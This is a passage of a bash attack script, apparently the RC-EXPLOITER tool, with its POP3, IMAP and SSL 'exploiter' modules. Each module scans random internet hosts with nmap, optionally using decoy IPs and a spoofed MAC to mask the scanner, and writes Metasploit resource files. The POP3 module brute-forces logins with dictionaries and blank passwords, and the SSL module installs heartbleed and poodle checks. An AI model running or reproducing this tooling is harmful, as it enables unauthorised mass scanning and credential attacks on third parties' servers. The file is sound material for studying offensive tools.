  2109.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[smtp].log" --width 480 > /dev/null 2>&1
  2110.   service metasploit stop > /dev/null 2>&1
  2111.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2112.  
  2113.   # clean old files
  2114.   mv $IPATH/exploits/smtp.bk $IPATH/exploits/smtp.rc > /dev/null 2<&1
  2115.   chown $user $IPATH/exploits/smtp.rc > /dev/null 2>&1
  2116.  
  2117.  
  2118.   else
  2119.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2120.   echo "SMTP:MANUAL:ABORT" >> $IPATH/debug/debug.int
  2121.   sleep 2
  2122.   fi
  2123.  
  2124.  
  2125. else
  2126.  
  2127.    Colors;
  2128.    echo ${RedF}[x]::[quiting module]... ${Reset};
  2129.    echo "SMTP:CANCEL" >> $IPATH/debug/debug.int
  2130.    sleep 2
  2131. fi
  2132. }
  2133.  
  2134.  
  2135.  
  2136.  
  2137. # --------------
  2138. # POP3 exploiter
  2139. # --------------
  2140. sh_10 () {
  2141. Colors;
  2142. # search in wan OR manually input rhosts
  2143. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  2144.  
  2145.  
  2146.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  2147.      echo "SMTP:WAN:LOADED" >> $IPATH/debug/debug.int
  2148.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  2149.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  2150.  
  2151.      # use DECOY'S in scanning WAN networks?
  2152.      if [ "$Ch3" = "YES" ]; then
  2153.      # use decoys to scan wan networks
  2154.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  2155.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 110 --open --reason -oN $IPATH/logs/Random-Hosts[pop3].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[pop3].log\nHOSTS: $NUM ONLY: open PORTS: 110\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2156.      else
  2157.      # default (dont use decoys)
  2158.      nmap -sS -iR $NUM -PN -p 110 --open --reason -oN $IPATH/logs/Random-Hosts[pop3].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[pop3].log\nHOSTS: $NUM ONLY: open PORTS: 110\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2159.      fi
  2160.  
  2161.      echo ""
  2162.      # display on screen hosts found
  2163.      cat $IPATH/logs/Random-Hosts[pop3].log
  2164.      echo ""
  2165.  
  2166.        # generate (settings) resource file
  2167.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2168.          if [ "$?" -eq "0" ]; then
  2169.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2170.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  2171.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  2172.        echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  2173.        echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  2174.        echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  2175.        echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  2176.        echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  2177.        echo "resource $IPATH/exploits/pop3.rc" >> $IPATH/tempwork/msfdb.rc
  2178.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2179.  
  2180.          # generate (cleaner) resource file
  2181.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2182.          echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  2183.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2184.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2185.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2186.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2187.          chown $user $IPATH/logs/Random-Hosts[pop3].log > /dev/null 2>&1
  2188.  
  2189.          cd $IPATH/exploits/
  2190.          # using bash SED to replace value (report.log)
  2191.          cp pop3.rc pop3.bk > /dev/null 2<&1
  2192.          sed "s|Lt0P4tH|$IPATH/logs/[pop3].log|g" pop3.rc > copy.int
  2193.          mv copy.int pop3.rc > /dev/null 2<&1
  2194.          cd $IPATH
  2195.  
  2196.            # store in debug.int
  2197.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2198.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  2199.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  2200.  
  2201.       # start postgresql+metasploit db
  2202.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2203.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2204.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2205.  
  2206.       if [ "$DiStR0" = "Kali" ]; then
  2207.         service postgresql start > /dev/null 2>&1
  2208.         service metasploit start > /dev/null 2>&1
  2209.       else
  2210.         service metasploit start > /dev/null 2>&1
  2211.       fi
  2212.  
  2213.     # display cleaner command
  2214.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2215.     echo ${white}--------------------------------------------------------${Reset};
  2216.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2217.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2218.     echo ${white}--------------------------------------------------------${Reset};
  2219.  
  2220.   # access msfdatabase
  2221.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2222.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2223.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2224.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[pop3].log" --width 480 > /dev/null 2>&1
  2225.   service metasploit stop > /dev/null 2>&1
  2226.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2227.  
  2228.   # clean old files
  2229.   mv $IPATH/exploits/pop3.bk $IPATH/exploits/pop3.rc > /dev/null 2<&1
  2230.   chown $user $IPATH/exploits/pop3.rc > /dev/null 2>&1
  2231.  
  2232.   else
  2233.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2234.   echo "POP3:WAN:ABORT" >> $IPATH/debug/debug.int
  2235.   sleep 2
  2236.   fi
  2237.  
  2238.  
  2239.  
  2240.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  2241.    echo "POP3:MANUAL:LOADED" >> $IPATH/debug/debug.int
  2242.   # imput manually RHOSTS
  2243.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2244.      if [ "$?" -eq "0" ]; then
  2245.      dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
  2246.  
  2247.     # generate (settings) resource file
  2248.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2249.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  2250.     echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  2251.     echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
  2252.     echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
  2253.     echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
  2254.     echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
  2255.     echo "resource $IPATH/exploits/smtp.rc" >> $IPATH/tempwork/msfdb.rc
  2256.  
  2257.       # generate (cleaner) resource file
  2258.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2259.       echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
  2260.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2261.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2262.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2263.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2264.  
  2265.          cd $IPATH/exploits/
  2266.          # using bash SED to replace value (report.log)
  2267.          cp pop3.rc pop3.bk > /dev/null 2<&1
  2268.          sed "s|Lt0P4tH|$IPATH/logs/[pop3].log|g" pop3.rc > copy.int
  2269.          mv copy.int pop3.rc > /dev/null 2<&1
  2270.          cd $IPATH
  2271.  
  2272.            # store in debug.int
  2273.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2274.            echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
  2275.            echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
  2276.  
  2277.       # start postgresql+metasploit db
  2278.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2279.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2280.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2281.  
  2282.       if [ "$DiStR0" = "Kali" ]; then
  2283.         service postgresql start > /dev/null 2>&1
  2284.         service metasploit start > /dev/null 2>&1
  2285.       else
  2286.         service metasploit start > /dev/null 2>&1
  2287.       fi
  2288.  
  2289.     # display cleaner command
  2290.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2291.     echo ${white}--------------------------------------------------------${Reset};
  2292.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2293.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2294.     echo ${white}--------------------------------------------------------${Reset};
  2295.  
  2296.   # access msfdatabase
  2297.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2298.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2299.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2300.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[pop3].log" --width 480 > /dev/null 2>&1
  2301.   service metasploit stop > /dev/null 2>&1
  2302.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2303.  
  2304.   # clean old files
  2305.   mv $IPATH/exploits/pop3.bk $IPATH/exploits/pop3.rc > /dev/null 2<&1
  2306.   chown $user $IPATH/exploits/pop3.rc > /dev/null 2>&1
  2307.  
  2308.  
  2309.   else
  2310.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2311.   echo "POP3:MANUAL:ABORT" >> $IPATH/debug/debug.int
  2312.   sleep 2
  2313.   fi
  2314.  
  2315.  
  2316. else
  2317.  
  2318.    Colors;
  2319.    echo ${RedF}[x]::[quiting module]... ${Reset};
  2320.    echo "POP3:CANCEL" >> $IPATH/debug/debug.int
  2321.    sleep 2
  2322. fi
  2323. }
  2324.  
  2325.  
  2326.  
  2327.  
  2328. # --------------
  2329. # IMAP exploiter
  2330. # --------------
  2331. sh_11 () {
  2332. Colors;
  2333. # search in wan OR manually input rhosts
  2334. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  2335.  
  2336.  
  2337.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  2338.      echo "IMAP:WAN:LOADED" >> $IPATH/debug/debug.int
  2339.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  2340.  
  2341.      # use DECOY'S in scanning WAN networks?
  2342.      if [ "$Ch3" = "YES" ]; then
  2343.      # use decoys to scan wan networks
  2344.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  2345.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 143,993 --open --reason -oN $IPATH/logs/Random-Hosts[imap].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[imap].log\nHOSTS: $NUM ONLY: open PORTS: 143,993\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2346.      else
  2347.      # default (dont use decoys)
  2348.      nmap -sS -iR $NUM -PN -p 143,993 --open --reason -oN $IPATH/logs/Random-Hosts[imap].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[imap].log\nHOSTS: $NUM ONLY: open PORTS: 143,993\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2349.      fi
  2350.  
  2351.      echo ""
  2352.      # display on screen hosts found
  2353.      cat $IPATH/logs/Random-Hosts[imap].log
  2354.      echo ""
  2355.  
  2356.        # generate (settings) resource file
  2357.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2358.          if [ "$?" -eq "0" ]; then
  2359.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2360.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  2361.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  2362.        echo "resource $IPATH/exploits/imap.rc" >> $IPATH/tempwork/msfdb.rc
  2363.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2364.  
  2365.          # generate (cleaner) resource file
  2366.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2367.          echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
  2368.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2369.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2370.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2371.          chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2372.          chown $user $IPATH/logs/Random-Hosts[imap].log > /dev/null 2>&1
  2373.  
  2374.          cd $IPATH/exploits/
  2375.          # using bash SED to replace value (report.log)
  2376.          cp imap.rc imap.bk > /dev/null 2<&1
  2377.          sed "s|Lt0P4tH|$IPATH/logs/[imap].log|g" imap.rc > copy.int
  2378.          mv copy.int imap.rc > /dev/null 2<&1
  2379.          cd $IPATH
  2380.  
  2381.            # store in debug.int
  2382.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2383.  
  2384.       # start postgresql+metasploit db
  2385.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2386.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2387.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2388.  
  2389.       if [ "$DiStR0" = "Kali" ]; then
  2390.         service postgresql start > /dev/null 2>&1
  2391.         service metasploit start > /dev/null 2>&1
  2392.       else
  2393.         service metasploit start > /dev/null 2>&1
  2394.       fi
  2395.  
  2396.     # display cleaner command
  2397.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2398.     echo ${white}--------------------------------------------------------${Reset};
  2399.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2400.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2401.     echo ${white}--------------------------------------------------------${Reset};
  2402.  
  2403.   # access msfdatabase
  2404.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2405.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2406.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2407.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[imap].log" --width 480 > /dev/null 2>&1
  2408.   service metasploit stop > /dev/null 2>&1
  2409.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2410.  
  2411.   # clean old files
  2412.   mv $IPATH/exploits/imap.bk $IPATH/exploits/imap.rc > /dev/null 2<&1
  2413.   chown $user $IPATH/exploits/imap.rc > /dev/null 2>&1
  2414.  
  2415.   else
  2416.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2417.   echo "IMAP:WAN:ABORT" >> $IPATH/debug/debug.int
  2418.   sleep 2
  2419.   fi
  2420.  
  2421.  
  2422.  
  2423.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  2424.    echo "IMAP:MANUAL:LOADED" >> $IPATH/debug/debug.int
  2425.   # imput manually RHOSTS
  2426.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2427.      if [ "$?" -eq "0" ]; then
  2428.  
  2429.     # generate (settings) resource file
  2430.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2431.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  2432.     echo "resource $IPATH/exploits/imap.rc" >> $IPATH/tempwork/msfdb.rc
  2433.  
  2434.       # generate (cleaner) resource file
  2435.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2436.       echo "unset -g RHOST RHOSTS" >> $IPATH/tempwork/cleaner.rc
  2437.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2438.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2439.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2440.       chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2441.  
  2442.          cd $IPATH/exploits/
  2443.          # using bash SED to replace value (report.log)
  2444.          cp imap.rc imap.bk > /dev/null 2<&1
  2445.          sed "s|Lt0P4tH|$IPATH/logs/[imap].log|g" imap.rc > copy.int
  2446.          mv copy.int imap.rc > /dev/null 2<&1
  2447.          cd $IPATH
  2448.  
  2449.            # store in debug.int
  2450.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2451.  
  2452.       # start postgresql+metasploit db
  2453.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2454.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2455.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2456.  
  2457.       if [ "$DiStR0" = "Kali" ]; then
  2458.         service postgresql start > /dev/null 2>&1
  2459.         service metasploit start > /dev/null 2>&1
  2460.       else
  2461.         service metasploit start > /dev/null 2>&1
  2462.       fi
  2463.  
  2464.     # display cleaner command
  2465.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2466.     echo ${white}--------------------------------------------------------${Reset};
  2467.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2468.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2469.     echo ${white}--------------------------------------------------------${Reset};
  2470.  
  2471.   # access msfdatabase
  2472.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2473.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2474.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2475.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[imap].log" --width 480 > /dev/null 2>&1
  2476.   service metasploit stop > /dev/null 2>&1
  2477.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2478.  
  2479.   # clean old files
  2480.   mv $IPATH/exploits/imap.bk $IPATH/exploits/imap.rc > /dev/null 2<&1
  2481.   chown $user $IPATH/exploits/imap.rc > /dev/null 2>&1
  2482.  
  2483.  
  2484.   else
  2485.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2486.   echo "IMAP:MANUAL:ABORT" >> $IPATH/debug/debug.int
  2487.   sleep 2
  2488.   fi
  2489.  
  2490.  
  2491. else
  2492.  
  2493.    Colors;
  2494.    echo ${RedF}[x]::[quiting module]... ${Reset};
  2495.    echo "IMAP:CANCEL" >> $IPATH/debug/debug.int
  2496.    sleep 2
  2497. fi
  2498. }
  2499.  
  2500.  
  2501.  
  2502.  
  2503. # --------------
  2504. # SSL exploiter
  2505. # --------------
  2506. sh_12 () {
  2507. Colors;
  2508. # search in wan OR manually input rhosts
  2509. aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
  2510.  
  2511.  
  2512.    if [ "$aTv" = "Scan WAN for hosts" ]; then
  2513.      echo "SSL:WAN:LOADED" >> $IPATH/debug/debug.int
  2514.      NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
  2515.  
  2516.      # use DECOY'S in scanning WAN networks?
  2517.      if [ "$Ch3" = "YES" ]; then
  2518.      # use decoys to scan wan networks
  2519.      echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
  2520.      nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 443 --open --reason -oN $IPATH/logs/Random-Hosts[ssl].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[ssl].log\nHOSTS: $NUM ONLY: open PORTS: 443\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2521.      else
  2522.      # default (dont use decoys)
  2523.      nmap -sS -iR $NUM -PN -p 443 --open --reason -oN $IPATH/logs/Random-Hosts[ssl].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[ssl].log\nHOSTS: $NUM ONLY: open PORTS: 443\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
  2524.      fi
  2525.  
  2526.      echo ""
  2527.      # display on screen hosts found
  2528.      cat $IPATH/logs/Random-Hosts[ssl].log
  2529.      echo ""
  2530.  
  2531.        # generate (settings) resource file
  2532.        rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2533.          if [ "$?" -eq "0" ]; then
  2534.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2535.        echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  2536.        echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
  2537.        echo "setg verbose true" >> $IPATH/tempwork/msfdb.rc
  2538.        echo "resource $IPATH/exploits/ssl.rc" >> $IPATH/tempwork/msfdb.rc
  2539.        chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2540.  
  2541.          # generate (cleaner) resource file
  2542.          echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2543.          echo "unset -g RHOST RHOSTS verbose jobs -K" >> $IPATH/tempwork/cleaner.rc
  2544.          echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2545.          echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2546.          chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2547.          chown $user $IPATH/logs/Random-Hosts[ssl].log > /dev/null 2>&1
  2548.  
  2549.          cd $IPATH/exploits/
  2550.          # using bash SED to replace value (dicionary and report.log)
  2551.          cp ssl.rc ssl.bk > /dev/null 2<&1
  2552.          sed "s|Lt0P4tH|$IPATH/logs/[ssl].log|g" ssl.rc > copy.int
  2553.          sed "s|LiLiP4tH|$IPATH/logs/[ssl].log|g" copy.int > copy2.int
  2554.          mv copy2.int ssl.rc > /dev/null 2<&1
  2555.          cd $IPATH
  2556.  
  2557.            # store in debug.int
  2558.            echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2559.  
  2560.  
  2561.         # check if exists nmap scripts folder
  2562.         if [ -d $nS31 ]; then
  2563.           # check if exists poodle script
  2564.           if [ -e $nS31/ssl-poodle.nse ]; then
  2565.             echo "good" > /dev/null 2>&1
  2566.           else
  2567.             # copy nse scripts and lua lib to nmap directory
  2568.             echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  2569.             cp $IPATH/bin/ssl-poodle.nse $nS31/ssl-poodle.nse
  2570.             cp $IPATH/bin/ssl-heartbleed.nse $nS31/ssl-heartbleed.nse
  2571.             cp $IPATH/bin/ssl-ccs-injection.nse $nS31/ssl-ccs-injection.nse
  2572.             cp $IPATH/bin/tls.lua $nS3Lib/tls.lua
  2573.             Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  2574.             cp $IPATH/bin/ssl-poodle.nse $Ints/ssl-poodle.nse
  2575.             cp $IPATH/bin/ssl-heartbleed.nse $Ints/ssl-heartbleed.nse
  2576.             cp $IPATH/bin/ssl-ccs-injection.nse $Ints/ssl-ccs-injection.nse
  2577.           fi
  2578.  
  2579.         else
  2580.  
  2581.           # error nse folder not found
  2582.           echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
  2583.           echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
  2584.           sleep 2
  2585.           # manually input NSE folders path and metasploit nmap path
  2586.          qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
  2587.           qU2=$(zenity --title "INPUT NSE NSELIB INSTALL PATH" --text "example: /usr/share/nmap/nselib" --entry --width 350) > /dev/null 2>&1
  2588.           qU3=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy three nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  2589.           echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  2590.           # copy files to its rigth place in nmapdb and msfdb
  2591.           cp $IPATH/bin/ssl-poodle.nse $qU/ssl-poodle.nse
  2592.           cp $IPATH/bin/ssl-heartbleed.nse $qU/ssl-heartbleed.nse
  2593.           cp $IPATH/bin/ssl-ccs-injection.nse $qU/ssl-ccs-injection.nse
  2594.           cp $IPATH/bin/tls.lua $qU2/tls.lua
  2595.           cp $IPATH/bin/ssl-poodle.nse $qU3/ssl-poodle.nse
  2596.           cp $IPATH/bin/ssl-heartbleed.nse $qU3/ssl-heartbleed.nse
  2597.           cp $IPATH/bin/ssl-ccs-injection.nse $qU3/ssl-ccs-injection.nse
  2598.         fi
  2599.  
  2600.       # update NSE database befor running resource files
